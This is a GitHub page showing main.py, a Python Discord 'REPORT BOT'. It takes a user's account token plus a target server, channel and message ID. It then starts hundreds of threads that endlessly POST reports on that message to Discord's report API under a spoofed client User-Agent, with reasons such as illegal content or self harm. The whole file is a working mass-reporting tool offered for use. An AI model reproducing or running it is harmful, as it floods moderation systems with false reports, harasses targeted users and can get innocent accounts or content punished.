-
Notifications
You must be signed in to change notification settings - Fork 60
/
Copy pathmain.py
97 lines (79 loc) · 3.4 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests
import colorama
import threading
import os
import ctypes
from colorama import Fore, Style
from threading import Thread
from sys import stdout
from requests import Session
from time import strftime, gmtime
sent = 0
session = Session()
b = Style.BRIGHT
os = os.system
os('cls')
ctypes.windll.kernel32.SetConsoleTitleW(f"[REPORT BOT] Advanced Report Tool ")
print(f"""
{b+Fore.GREEN}
| | HHHHHHHHH HHHHHHHHH | | HHHHHHHHH HHHHHHHHH | |
| | H:::::::H H:::::::H | | H:::::::H H:::::::H | |
| | HH::::::H H::::::HH | | HH::::::H H::::::HH | |
\ / H:::::H H:::::H \ / H:::::H H:::::H \ /
H::::::HHHHH::::::H H::::::HHHHH::::::H
H:::::::::::::::::H H:::::::::::::::::H
H:::::::::::::::::H H:::::::::::::::::H
H::::::HHHHH::::::H H::::::HHHHH::::::H
| | H:::::H H:::::H | | H:::::H H:::::H | |
| | H:::::H H:::::H | | H:::::H H:::::H | |
| | HH::::::H H::::::HH | | HH::::::H H::::::HH | |
\ / H:::::::H H:::::::H \ / H:::::::H H:::::::H \ /
H:::::::H H:::::::H H:::::::H H:::::::H
HHHHHHHHH HHHHHHHHH HHHHHHHHH HHHHHHHHH
{b+Fore.RED} x > {Fore.RESET}Options
{b+Fore.RED} {1} > {Fore.RESET}illegal Conent {b+Fore.GREEN}::{Fore.RESET} 1
{b+Fore.RED} {2} > {Fore.RESET}Harrassment {b+Fore.GREEN}::{Fore.RESET} 2
{b+Fore.RED} {3} > {Fore.RESET}Spam or Phishing Links {b+Fore.GREEN}::{Fore.RESET} 3
{b+Fore.RED} {4} > {Fore.RESET}Self harm {b+Fore.GREEN}::{Fore.RESET} 4
{b+Fore.RED} {5} > {Fore.RESET}NSFW Content {b+Fore.GREEN}::{Fore.RESET} 5
""")
token = input(f"{b+Fore.BLUE} > Token{Fore.RESET}: ")
headers = {'Authorization': token, 'Content-Type': 'application/json'}
r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
if r.status_code == 200:
pass
else:
print(f"{b+Fore.RED} > Invalid Token")
input()
guild_id1 = input(f"{b+Fore.BLUE} > Server ID{Fore.RESET}: ")
channel_id1 = input(f"{b+Fore.BLUE} > Channel ID{Fore.RESET}: ")
message_id1 = input(f"{b+Fore.BLUE} > Message ID{Fore.RESET}: ")
reason1 = input(f"{b+Fore.BLUE} > Option{Fore.RESET}: ")
def Main():
global sent
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36',
'Authorization': token,
'Content-Type': 'application/json'
}
payload = {
'channel_id': channel_id1,
'guild_id': guild_id1,
'message_id': message_id1,
'reason': reason1
}
while True:
r = requests.post('https://discord.com/api/v6/report', headers=headers, json=payload)
if r.status_code == 201:
print(f"{Fore.GREEN} > Sent Report {b+Fore.BLUE}::{Fore.GREEN} ID {message_id1}")
ctypes.windll.kernel32.SetConsoleTitleW(f"[REPORT BOT] By Offender | Sent: %s" % sent)
sent += 1
elif r.status_code == 401:
print(f"{Fore.RED} > Invalid token")
input()
exit()
else:
print(f"{Fore.RED} > Error")
print()
for i in range(500, 1000):
Thread(target=Main).start()